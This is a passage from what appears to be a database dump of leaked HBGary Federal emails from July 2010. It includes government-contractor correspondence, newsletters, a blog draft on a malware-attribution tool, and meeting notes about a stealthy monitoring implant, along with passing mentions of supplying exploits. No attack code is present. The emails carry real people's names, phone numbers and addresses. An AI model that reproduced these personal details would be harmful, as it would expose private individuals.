ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 22, 2010 5:25 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: will Greg be back in town?\r\n> \r\n> Hi Dave,\r\n> \r\n> He gets back here every couple of months.  He doesn\'t much like to travel.\r\n> The CTO is local to DC as well as am I, but you know that.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 22, 2010, at 2:27 PM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n> \r\n>> When will Greg be back in town...wanted to talk about a couple of\r\n> things...\r\n>> \r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>> \r\n>> \r\n',15918,'aaron_hbgary_com/15918.html'),(9073,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006963.M825639P14101Q3929.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Inquiry About The Irregular Warfare Consolidated Support','Seems like it.Sent from my iPadOn Jul 22, 2010, at 9:26 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Spam?Begin forwarded message:From: matchalert@govwin.com\r\nDate: July 22, 2010 8:01:44 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Inquiry About The Irregular Warfare Consolidated Support\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  govWin Match Alert \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Dear Ted:\r\n  \r\n  I saw you advertised interest in FedBizOpps to bid on Irregular Warfare\r\n  Consolidated Support. &nbsp;We think we can help you form a\r\n  winning team on this opportunity and also connect you to other teaming and\r\n  subcontract opportunities. \r\n  \r\n  govWin is a network of small and large businesses coming together to better\r\n  serve the federal sector, and we specialize in helping diverse and qualified\r\n  companies form strong teams and win more business.\r\n  \r\n  With your permission, we would like to assist you in finding the teaming partners\r\n  to help you win this opportunity. All you have to do is respond to this note.\r\n  \r\n  govWin was founded by former small business owners and we are just trying to\r\n  help make things like this easier and more successful. We are helping\r\n  companies every day like yours form winning teams and you can see how others\r\n  are benefiting now at http://govwin.com/public/help/about-mysbx#testimonials .\r\n\r\n  \r\n  Not only can we help find the most qualified teaming partners and help you\r\n  build the best possible team using govWin, we will also engage our govWin\r\n  Match Alert System to notify you about forming teams and subcontracts that\r\n  you can join and deliver on as well.\r\n  \r\n  If you would like to take advantage of this and bring the power of govWin to\r\n  bear on forming your team and winning more business - please just reply to\r\n  this note and we can get started.\r\n  \r\n  Thank you for your time - we hope we can be of help for this and others in\r\n  the future.\r\n  \r\n  Regards,\r\n  \r\n  govWin Match Alert Team\r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  About this Message: You have\r\n  received this message because your company meets the requirements for a\r\n  business opportunity published by a member of govWin. If you would like to\r\n  unsubscribe from receiving potential business opportunities, please reply to\r\n  this email with the word \"unsubscribe\" in the message. \r\n  About Match Alert: Match Alert\r\n  keeps watch 24/7 on your behalf, and alerts you when teaming opportunities,\r\n  subcontract opportunities, resource demands, resource availability, and\r\n  companies or individual professionals matching your published requirements\r\n  are available. We deliver you the right matches at the right time.\r\n  About govWin: govWin is\r\n  the professional network where businesses exchange opportunities, resources,\r\n  and information, to win more business, expand capabilities, and increase\r\n  profitability. \r\n  Please\r\n  visit www.govwin.com to learn more. Send inquiries or help requests to the\r\n  govWin Support Team (help@govwin.com). Send ideas and suggestions to\r\n  Ideas@govwin.com.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4368,'aaron_hbgary_com/4368.html'),(9074,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006963.M93991P14101Q3926.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Followup','Sent from my iPadBegin forwarded message:From: \"Masterson, Brian M (XETRON)\" &lt;Brian.Masterson@ngc.com&gt;Date: July 23, 2010 6:50:57 AM CDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Followup\r\n\r\n\r\n\r\nAaron,\r\n\r\nStill have not gotten the address from Ted.\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\nTo: Aaron Barr\r\nSubject: Followup\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware data\r\n\r\n\r\n\r\nAlso, can I still get an exploit from you?\r\n\r\nBrian\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',35,'aaron_hbgary_com/35.html'),(9075,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006964.M105585P14101Q3930.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: From Ricky Windsor CISSP, CISA, PMP and other cybernexus group members on LinkedIn','Sent from my iPadBegin forwarded message:From: cybernexus Group Members &lt;group-digests@linkedin.com&gt;Date: July 22, 2010 6:06:30 PM CDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: From Ricky Windsor CISSP, CISA, PMP and other cybernexus group members on LinkedIn\r\n\r\n  \r\n    Linkedin GroupsJuly 22, 2010\r\n    cybernexus\r\n    \r\n	      Latest:\r\n	          1 discussion\r\n	      \r\n	      \r\n	        \r\n	      \r\n      \r\n    \r\n\r\n     \r\n      NEW Your LinkedIn groups have a whole new look! Learn more »\r\n    \r\n      \r\n      \r\n    \r\n\r\n      \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Incident Response and Network Forensics Training\r\nHosted by AFCEA CMD at Praxis Engineering\r\nAugust 2 - 6, 2010\r\n        Add a comment  »\r\n\r\n      Started by Ricky Windsor CISSP, CISA, PMP, Cyber Security Engineer\r\n        \r\n          \r\n                    Registration:  http://www.infosecinstitute.com/register_student_AFCEA.html\r\n\r\nCost: $2,149\r\n\r\nLocation:\r\nPraxis Engineering\r\n135 National Business Parkway (NBP),\r\nAnnapolis Junction, MD\r\n\r\nWithout a doubt, the sophistication and threats caused by malicious attacks have continued to increase at a rapid level. If you plan on responding to a security incident, you must be able to meet the challenges that these sophisticated attackers present. InfoSec Institute helps you meet the challenges presented by attackers in this hands-on Incident Response class. You will learn effective detection, response, and remediation strategies that will enable you and your organization to properly contain a security incident. This five day class has been specifically designed for technical information technology professionals, targeted at technical responders, who respond to computer security incidents. In this course, you will go over many real-world case studies, and gain the skills you need to respond to incidents via hands-on lab exercises.\r\n\r\nTopics covered in this class are:\r\n\r\n    * Understanding the methodology of an effective Incident Response process\r\n    * Incident Response Phases\r\n    * Create working documentation and checklists usable during a real-world response crisis\r\n    * Understand the proper incident response process for live compromised Windows and Unix systems\r\n    * Learn how to detect and confirm attacks against Windows and Unix systems\r\n    * Create a system response toolkit to be used in the heat of a crisis\r\n    * Learn how to discover attack signatures in Windows and Unix log files\r\n    * Use Log Parser 2.2 to recover critical information from Windows systems\r\n    * Understand what volatile evidence is present on a system you must collect and preserver prior to system power down\r\n    * Get hands-on experience retrieving and writing to disk memory from suspicious processes\r\n    * Detect and remove Win32 Rootkits, LKM Rootkits and Trojaned files\r\n    * Discover hidden files and processes\r\n    * Analyze and export data from critical system files in Windows including hiberfil.sys and pagefile.sys\r\n    * Learn how to recover deleted or overwritten files from Kernel memory on Unix systems\r\n    * Perform basic Reverse Engineering of unknown process and binaries, without having to know assembly language. \r\n\r\nRegistration:  http://www.infosecinstitute.com/register_student_AFCEA.html\r\n                By Ricky Windsor CISSP, CISA, PMP, Cyber Security Engineer\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',10040,'aaron_hbgary_com/10040.html'),(9076,'2010-07-23','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006964.M317027P14101Q3931.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: will Greg be back in town?','I\'d like to get Greg\'s view on what kind of education and training in high\r\nschool would lead to a carrier class malware coder...\r\n\r\nGranted that most do it on their own...but I didn\'t know if he came across\r\nsome budding malware coders in his travels...\r\n\r\nFrom what I remember, he\'s been doing rootkit work for a long time (even\r\nwhen there was the big network exploit push)...\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 23, 2010 9:19 AM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: will Greg be back in town?\r\n\r\nSure.  Education.\r\n\r\nSent from my iPad\r\n\r\nOn Jul 23, 2010, at 7:35 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Are you familiar with CNCI Initiative 8?\r\n> \r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 22, 2010 5:25 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: will Greg be back in town?\r\n> \r\n> Hi Dave,\r\n> \r\n> He gets back here every couple of months.  He doesn\'t much like to travel.\r\n> The CTO is local to DC as well as am I, but you know that.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 22, 2010, at 2:27 PM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n> \r\n>> When will Greg be back in town...wanted to talk about a couple of\r\n> things...\r\n>> \r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>> \r\n>> \r\n',16824,'aaron_hbgary_com/16824.html'),(9077,'2010-07-23','aaron@hbgary.com','/aaron@hbgary.com/new/1297006970.M932050P14101Q3932.eml','nathan.atherley@farallon-research.com,\"Ray Owen\" <ray.owen@comcast.net>,jhayes@blackridge.us,\"Greg Hoglund\" <greg@hbgary.com>','1st photo','\r\n\r\n',5577,'aaron_hbgary_com/5577.html'),(9078,'2010-07-23','aaron@hbgary.com','/aaron@hbgary.com/new/1297006981.M910933P14101Q3933.eml','nathan.atherley@farallon-research.com,jhayes@blackridge.us,\"Greg Hoglund\" <greg@hbgary.com>,\"Ray Owen\" <ray.owen@comcast.net>','Photo2','My notes as recorded.  Sorry for delay.  Just forgot. :)\r\n\r\nDemo is primarily for protection not exploitation\r\n\r\nKey challenges:\r\nAttribution\r\nSupply chain management - 15% of cisco products are counterfeit\r\nComplex event processing\r\nData visualization\r\nInformation management\r\n\r\n(Remote agent capability)\r\n\r\nUse case for opting in.\r\n\r\nPrepositioned agent.\r\n\r\nBlackridge remote agent.  Looking to build a non privileged agent that follows the rules.\r\n\r\nTransport access control (tac).  Authenticate a tcp connection at the first packet during the handshake.  Overloads fields in the tcp header with a token.  Doesn\'t need to be installed on a device.  Can install tokens on the wire.  Transmission of identity.  Government interested in transmission of state of the machine.\r\n\r\nTake what we can do on the host related to hashing a machines identity.  Take what black ridge can do related to transmission of such data.  Akamai used as the framework.\r\n\r\nAkamai - future direction. Mobile devices.  Fraud mitigation space.  Video and HD content.  Security is a big effort.  In 1400 data centers.  Master cookie capability - embedding hook in hosted site that comes back to a host name they own to do host verification against other ids they have on that host.  300-400 million unique ips a day.\r\n\r\nVerification and validation of machine and user.  Are there potential compromises.\r\n\r\nPilots are built around 12months.\r\n\r\nIP advances by timeline.  In 6 months we can do X and in 12 months we can do Y.\r\n\r\n4 pilots being put in the defense appropriations bill.\r\nTelcos and ISPs and carrier data aggregation\r\nTerramark\r\nOurs\r\nx\r\n\r\nLevel of access based on identity and state/trust\r\n\r\nKernel driver only looking at the process space and maybe only looking for particular compromises.  Need to be smaller.  Eventually stealth.\r\n\r\nGo with the banking scenario\r\n\r\nWe are not doing the provisioning for the demo.\r\n\r\nMonitor all the running processes in the banking application.\r\n\r\nJust going to check if a packed executable exists.\r\n\r\nBlackridge still needs to build the capability for redirection.  Current technology is in user space.  New code path is in kernel space.\r\n\r\n3 months - demonstrate trust and detection and trust and identification.  Concentrating on client\r\n6 months - now what do we do on the server side.  HBGary works on decreasing size and stealthiness of implant.\r\n\r\nWhat can we get done for 100-230k.\r\n\r\nUse ssl for the demo which actually mitigates some of akamais business risk.\r\n\r\nSecond six months you could do geolocation and proxy discovery based on where the communication breaks down.\r\n\r\n',8502,'aaron_hbgary_com/8502.html'),(9079,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006982.M586777P14101Q3934.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,','Blog Entry Draft','Blog entry I am working on.  Let me know if you think I am on the right track.  I will finish it up tonight.\r\n\r\n------------\r\nAs a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously.  Individual banks measure their loses in the millions per month.  Commercial corporations are watching their innovation, their intellectual property stream overseas.  Our military and government infrastructures, the core of what keeps us safe and in a position of power are being breeched regularly, national secrets accessed, and we are nearly powerless to stop the majority of these attacks.  Why?  Because we lack a fundamental ability to attribute the threat, attribute the source and intent of the attack.  Without attribution we can not develop and execute courses of action (COAs) against cyber threats and establish foreign policies governing cyber based threats.\r\n\r\nThis is not new.  The government and intelligence community have been discussing attribution actively since the the CNCI was signed by President Bush in 2007.  It was a top priority then and still is today.  Given the span of nearly 3 years we are still not much closer in developing capabilities and methodologies that significantly advance on the attribution problem.  The challenges are clearly understood.  Sources of attack can be spoofed, false flag operations executed, in the end unless there are some other indicators or sources of intelligence that can be tied to a cyber based attack, the likelihood of being able to attribute an attack is unlikely.\r\n\r\nUntil today.\r\n\r\nThe FingerPrint tool being released today takes a big step in the direction of attribution.  The source of the tools success lies within the vehicles of attack themselves - malware.  Like styles used by authors, or painters.  Malware creators have specific styles, they use a specific set of tools, and they develop in specific environments.  All of these threat markers are identifiable and not easily masked.  The FingerPrint tool pulls these variables from the malware allowing for more rapid association and correlation of malware that was created in the same development environment by the same authors...\r\n\r\n...\r\n\r\n------------------\r\nNOTES\r\nDeveloping an ability to attribute cyber-based attacks is critical to our ability to develop adequate foreign policy and courses of action (COAs) against attacks.  But this is no small task.  Unlike all of the other channels of commerce; land, air, sea, and space; cyberspace allows \r\n\r\nWe must start somewhere, developing the technologies and the methodologies for cyber analysis.\r\n\r\nAttribution is a big big problem for the nation.  We can\'t develop policy and COAs (courses of action) if we don\'t know where the attack came from, this leaves us stone silent when we watch our IP leaving our country in rivers.  Since we can cluster malware based on environmental characteristics we can also make associations of those internal characteristics.  One piece of malware has this little tidbit, this one has this little tidbit, maybe its a handle, maybe another developer is added into the mix for one piece of malware and we have him nailed through other analysis, we can now make ties to the rest of the group.  Lots of possibilities if the fingerprinting tool is combined with Open source and classified intelligence.\r\n\r\nFingerprint + TMC + Social Media Collection/Analysis = True Threat Intelligence (unclassified).  Add SIGINT and HUMINT data for True classified threat intelligence.\r\n\r\nIn Cybersecurity there are only 3 really important initiatives; threat intelligence, incident response, and offense.  Every thing else is fingers in the dam.  And having capabilities in all three is critical because they feed each other.  If we have the products, the intelligence repository, as well as the ability to develop offensive capabilities.  Thats the sweet spot.  The products are getting there.  We have the offensive capability and are just working to get into the right programs.  We need the repository.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',565,'aaron_hbgary_com/565.html'),(9080,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006982.M811346P14101Q3935.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Followup','Hey Brian,I just pinged Ted. &nbsp;Let me know if you have any questions on the tool. &nbsp;That is the exact copy that will be released to the public next week. &nbsp;One thing of note that I did not clearly appreciate when we talked. &nbsp;While you can run the tool against static binaries, we get much better results if you run them against memory snapshots. &nbsp;This may cause some problems in getting to the volume of data you have from CMU since you don\'t have a TMC to volume process the malware. &nbsp;Maybe we can talk briefly about this and what some potential work arounds might be.Are you looking at a particular piece of exploit we had on the shelf?AaronOn Jul 23, 2010, at 7:50 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\nAaron,Still have not gotten the address from Ted.BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 _____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\nTo: Aaron Barr\r\nSubject: FollowupFollowup from yesterday:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware dataAlso, can I still get an exploit from you?Brian\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',652,'aaron_hbgary_com/652.html'),(9081,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006983.M150096P14101Q3936.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: Followup','Hey Brian,I just pinged Ted. &nbsp;Let me know if you have any questions on the tool. &nbsp;That is the exact copy that will be released to the public next week. &nbsp;One thing of note that I did not clearly appreciate when we talked. &nbsp;While you can run the tool against static binaries, we get much better results if you run them against memory snapshots. &nbsp;This may cause some problems in getting to the volume of data you have from CMU since you don\'t have a TMC to volume process the malware. &nbsp;Maybe we can talk briefly about this and what some potential work arounds might be.Are you looking at a particular piece of exploit we had on the shelf?AaronOn Jul 23, 2010, at 7:50 AM, Masterson, Brian M (XETRON) wrote:\r\n\r\nAaron,Still have not gotten the address from Ted.BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 _____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\nTo: Aaron Barr\r\nSubject: FollowupFollowup from yesterday:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address to ship drive to2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fingerprint tool to run on CMU malware dataAlso, can I still get an exploit from you?Brian\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11210,'aaron_hbgary_com/11210.html'),(9082,'2010-07-23','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297006983.M375163P14101Q3937.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Blog Entry Draft','Hi Aaron, I think this is terrific. I look forward to seeing your final draft. Karen--- On Fri, 7/23/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Blog Entry DraftTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Date: Friday, July 23, 2010, 7:41 AM\r\nBlog entry I am working on.&nbsp; Let me know if you think I am on the right track.&nbsp; I will finish it up tonight.------------As a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously.&nbsp; Individual banks measure their loses in the millions per month.&nbsp; Commercial corporations are watching their innovation, their intellectual property stream overseas.&nbsp; Our military and government infrastructures, the core of what keeps us safe and in a position of power are being breeched regularly, national secrets accessed, and we are nearly powerless to stop the majority of these attacks.&nbsp; Why?&nbsp; Because we lack a fundamental ability to attribute the threat, attribute the source and intent of the attack.&nbsp; Without attribution we can not develop and execute courses of action (COAs)\r\n against cyber threats and establish foreign policies governing cyber based threats.This is not new.&nbsp; The government and intelligence community have been discussing attribution actively since the the CNCI was signed by President Bush in 2007.&nbsp; It was a top priority then and still is today.&nbsp; Given the span of nearly 3 years we are still not much closer in developing capabilities and methodologies that significantly advance on the attribution problem.&nbsp; The challenges are clearly understood.&nbsp; Sources of attack can be spoofed, false flag operations executed, in the end unless there are some other indicators or sources of intelligence that can be tied to a cyber based attack, the likelihood of being able to attribute an attack is unlikely.Until today.The FingerPrint tool being released today takes a big step in the direction of attribution.&nbsp; The source of the tools success lies within the vehicles of\r\n attack themselves - malware.&nbsp; Like styles used by authors, or painters.&nbsp; Malware creators have specific styles, they use a specific set of tools, and they develop in specific environments.&nbsp; All of these threat markers are identifiable and not easily masked.&nbsp; The FingerPrint tool pulls these variables from the malware allowing for more rapid association and correlation of malware that was created in the same development environment by the same authors......------------------NOTESDeveloping an ability to attribute cyber-based attacks is critical to our ability to develop adequate foreign policy and courses of action (COAs) against attacks.&nbsp; But this is no small task.&nbsp; Unlike all of the other channels of commerce; land, air, sea, and space; cyberspace allows We must start somewhere, developing the technologies and the methodologies for cyber analysis.Attribution is a big big problem for\r\n the nation.&nbsp; We can\'t develop policy and COAs (courses of action) if we don\'t know where the attack came from, this leaves us stone silent when we watch our IP leaving our country in rivers.&nbsp; Since we can cluster malware based on environmental characteristics we can also make associations of those internal characteristics.&nbsp; One piece of malware has this little tidbit, this one has this little tidbit, maybe its a handle, maybe another developer is added into the mix for one piece of malware and we have him nailed through other analysis, we can now make ties to the rest of the group.&nbsp; Lots of possibilities if the fingerprinting tool is combined with Open source and classified intelligence.Fingerprint + TMC + Social Media Collection/Analysis = True Threat Intelligence (unclassified).&nbsp; Add SIGINT and HUMINT data for True classified threat intelligence.In Cybersecurity there are only 3 really important initiatives;\r\n threat intelligence, incident response, and offense.&nbsp; Every thing else is fingers in the dam.&nbsp; And having capabilities in all three is critical because they feed each other.&nbsp; If we have the products, the intelligence repository, as well as the ability to develop offensive capabilities.&nbsp; Thats the sweet spot.&nbsp; The products are getting there.&nbsp; We have the offensive capability and are just working to get into the right programs.&nbsp; We need the repository.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n   ',5714,'aaron_hbgary_com/5714.html'),(9083,'2010-07-23','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297006983.M646565P14101Q3938.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Defense Department creates online hub for social media','Begin forwarded message:From: FCW Daily &lt;fcw@1105Newsletters.com&gt;Date: July 23, 2010 6:53:48 AM MDTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: Defense Department creates online hub for social mediaReply-To: FCW Daily &lt;FCWDailyNL@1105service.com&gt;Having trouble viewing this e-mail?&nbsp;Click here&nbsp;to view as a Web page.DailyFollow us onContact&nbsp;the EditorFEATURED CHANNELS&nbsp;&nbsp;CLOUD/VIRTUALIZATION/GREEN&nbsp; | &nbsp;&nbsp;DEFENSE&nbsp; | &nbsp;&nbsp;GOVERNMENT 2.0&nbsp;&nbsp;| &nbsp;&nbsp;HOMELAND SECURITY&nbsp;&nbsp;| &nbsp;MANAGEMENT/WORKFORCE7/23/2010Defense Department creates online hub for social mediaThe Pentagon has set up an online social media hub to better coordinate policies and to provide online links to service sites on Facebook, Twitter, YouTube and the like.End of payroll deductions for paper U.S. Savings Bonds approachingNearly all major federal agencies use social media, GAO saysObama ready to sign improper payments legislationExisting procurements got bulk of Recovery Act contract dollarsFlorida in the summerGovernment apps that work&nbsp;Telework and your careerHow to get results from Web site action centersOpenGov Tracker puts the best open-government ideas in one place&nbsp;Sustainability provides yet another reason to increase telework opportunitiesWanna-be federal teleworkers raise their voices2010 NASA SEWP IV Contract Guide&nbsp;Online Report Sponsored By: CDW-GAgency Buyers Infuse SEWP IV with New Ideas. When federal customers suggested that NASA\'s Solutions for Enterprise Procurement (SEWP) IV governmentwide acquisition contract allow credit card purchases, program officials listened and added the capability two months ago.Learn moreIn case you missed itFive reasons why some feds would rather not teleworkIntell chief denies charges of too many contractors10 gov Web apps that get resultsFeatured jobs from the&nbsp;Government Careeer NetworkPSFS IT Security Senior Associate (DOE/NRC) - PricewaterhouseCoopers - VAPublic Services - Financial Management Associate - JA - PricewaterhouseCoopers - DCPublic Sector IT Associate - JA - PricewaterhouseCoopers - DCVP of Computer Forensics - Premier Executive Group - Phoenix, AZSenior Program Director, Capture Intelligence: - INPUT - Reston, VABill Paves Way for NIST Restructuring&nbsp;Information Security Report Sponsored By: GovConnectionChange is in the air for the National Institute of Standards and Technology (NIST). The House approves much-needed NIST reform. Will the new face of NIST help agencies accommodate and incorporate standards more easily?Read the full article.Download ResourcesStorage Virtualization for DummiesUnderstand storage virtualization and how it can transform your data center in this easy to read eBook.&nbsp;Learn more.&nbsp;CommVault Simpana\'s Complete Virtual Environment ProtectionWith virtual machine auto-discovery, auto-inclusion, and auto-protection, embedded deduplication, block-level incremental backups, and the scalability to support thousands of virtual machines, Simpana software sets a new standard for virtualized environment management.&nbsp;Learn more.Feedback&nbsp;|&nbsp;Advertise&nbsp;|&nbsp;Newsletter Preferences&nbsp;|&nbsp;Unsubscribe&nbsp;|&nbsp;Privacy&nbsp;|&nbsp;Contact StaffFederal Computer Week&nbsp;1105 Government Information Group3141 Fairview Park Drive, Suite 777Falls Church, VA 22042703-876-5100FCW DailyEditor-in-Chief - David Rapp | Online Editor-in-Chief - Susan Miller | Managing Editor Daily Report - Michael Hardy1105 Government Information GroupPresident - Anne A. Armstrong | VP Advertising Sales - Jennifer Weiss | VP Content - David Rapp | VP Events - Christina Condos1105 MediaPresident/CEO - Neal VitaleCopyright 2010 1105 Media Inc. Federal Computer Week newsletters may only be redistributed in their unedited form. Written permission from the editor must be obtained to reprint the information contained within this newsletter.This message was sent to:&nbsp;tedvera@mac.com',10391,'aaron_hbgary_com/10391.html'),(9084,'2010-07-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006983.M876058P14101Q3939.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Aaron barr\" <aaron@hbgary.com>','Re: Followup','Ooops, sorry I forgot about that:HBGary Federal, LLC103 S. Wahsatch AveLL Suite AColorado Springs, CO 80903On Fri, Jul 23, 2010 at 6:24 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPadBegin forwarded message:\r\nFrom: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;Date: July 23, 2010 6:50:57 AM CDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Followup\r\n\r\n\r\n\r\nAaron,\r\n\r\nStill have not gotten the address from Ted.\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\n\r\nSent: Wednesday, July 21, 2010 8:49 AM\r\n\r\nTo: Aaron Barr\r\n\r\nSubject: Followup\r\n\r\n\r\n\r\n\r\nFollowup from yesterday:\r\n\r\n1.      Address to ship drive to\r\n\r\n2.      Fingerprint tool to run on CMU malware data\r\n\r\n\r\n\r\nAlso, can I still get an exploit from you?\r\n\r\nBrian\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',15330,'aaron_hbgary_com/15330.html'),(9085,'2010-07-23','\"Copeland, Johna Y (TASC)\" <Johna.Copeland@TASC.COM>','/aaron@hbgary.com/new/1297006984.M330044P14101Q3941.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Resume','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n 